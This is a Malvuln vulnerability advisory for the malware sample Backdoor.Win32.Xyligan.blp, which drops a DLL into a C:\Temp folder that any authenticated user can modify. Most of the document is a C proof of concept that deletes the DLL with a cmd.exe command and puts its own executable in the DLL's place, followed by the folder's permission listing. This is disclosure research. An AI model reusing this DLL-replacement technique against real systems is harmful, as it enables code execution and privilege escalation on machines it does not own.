Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9afcad282516173c0ab8a6eb91e8b4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Xyligan.blp
Vulnerability: Insecure Permissions EoP
Description: Xyligan.blp creates an insecure dir named "Temp" under c:\ drive and drops DLL "FengYun.dll into it". The C:\Temp is granted change (C) permissions to the authenticated users group allowing any authenticated user to change the DLL to one of their own executables.
Type: PE32
MD5: 6b9afcad282516173c0ab8a6eb91e8b4.exe
Vuln ID: MVID-2021-0065
Dropped files: FengYun.dll
Disclosure: 02/01/2021

Exploit/PoC:
#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Temp\\FengYun.dll"
#define TMP "C:\\Temp\\2.exe"
#define DISABLED_TARGET "C:\\Temp\\pwn.tmp"

/* Backdoor.Win32.Xyligan.blp.6b9afcad282516173c0ab8a6eb91e8b4.exe */
/* Insecure Permissions EoP */
/* By Malvuln */

BOOL PWNED=FALSE;

  BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
   
  if(!FileExists(DISABLED_TARGET)){
    WinExec("cmd.exe /c del C:\\Temp\\FengYun.dll", 0);
    Sleep(1000);
    CopyFile(TARGET, TMP, FALSE);
    Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Backdoor.Win32.Xyligan.blp EoP PoC\n");
    Sleep(1000);
    printf("[+] Deleted FengYun.dll ...\n");
    Sleep(300);
   }else{
     PWNED=TRUE;
   }
   
    if(!PWNED){
       char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
      if(FileExists(TMP)){
          remove(TMP);
      }
       printf("[+] Backdoor.Win32.Xyligan.blp PWNED!\n");
       printf("[+] MD5: 6b9afcad282516173c0ab8a6eb91e8b4\n");
       printf("[+] By Malvuln\n");
       system("pause");
     }
}


C:\>cacls \Temp
C:\Temp BUILTIN\Administrators:(OI)(CI)(ID)F
        NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
        BUILTIN\Users:(OI)(CI)(ID)R
        NT AUTHORITY\Authenticated Users:(ID)C
        NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C


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